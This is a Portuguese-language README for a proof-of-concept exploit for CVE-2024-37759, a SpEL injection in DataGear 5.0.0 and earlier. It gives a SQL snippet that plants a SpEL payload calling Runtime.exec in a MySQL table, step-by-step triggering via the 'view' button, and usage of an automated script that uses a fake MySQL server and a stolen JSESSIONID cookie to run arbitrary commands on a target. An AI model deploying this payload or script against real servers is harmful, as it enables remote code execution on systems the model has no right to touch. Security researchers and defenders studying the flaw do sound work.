
Exploit de prova de conceito para CVE-2024-37759, uma vulnerabilidade de injeção SpEL no DataGear 5.0.0 e versões anteriores que permite execução remota de código por meio de tabelas de banco de dados especialmente criadas.
O DataGear versão 5.0.0 e anteriores possui uma vulnerabilidade de injeção de expressão SpEL que leva à execução remota de código.
Ao solicitar a interface /data/{schemaId}/{tableName}/view, se a tabela do banco de dados não tiver uma chave primária, um atacante pode injetar uma expressão SpEL maliciosa no campo data. Quando o botão "view" é clicado, a expressão SpEL será executada.
Para executar o ataque, você pode criar uma tabela de banco de dados maliciosa assim:
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
Em seguida, faça login e adicione este banco de dados MySQL na interface de adição de schema: . Clique no botão "view" logo depois, e a expressão SpEL será executada.
/schema/saveAddEste exploit é modificado a partir do MySQL_Fake_Server. Primeiro, faça login no portal e obtenha o cookie "JSESSIONID". Você pode então usar este exploit para executar comandos automaticamente.
O argumento -t especifica o site vulnerável alvo, -o especifica o endereço IP público onde o servidor fake MySQL está acessível, -p é para a porta do servidor fake, -s é para o valor do cookie "JSESSIONID", e -c especifica o comando que você deseja executar.
python3.7 exp.py -t "http://localhost:50401" -o "192.168.25.130" -p "3306" -s "B751A41FBE8C3385B386B2365C2FB86D" -c "calc"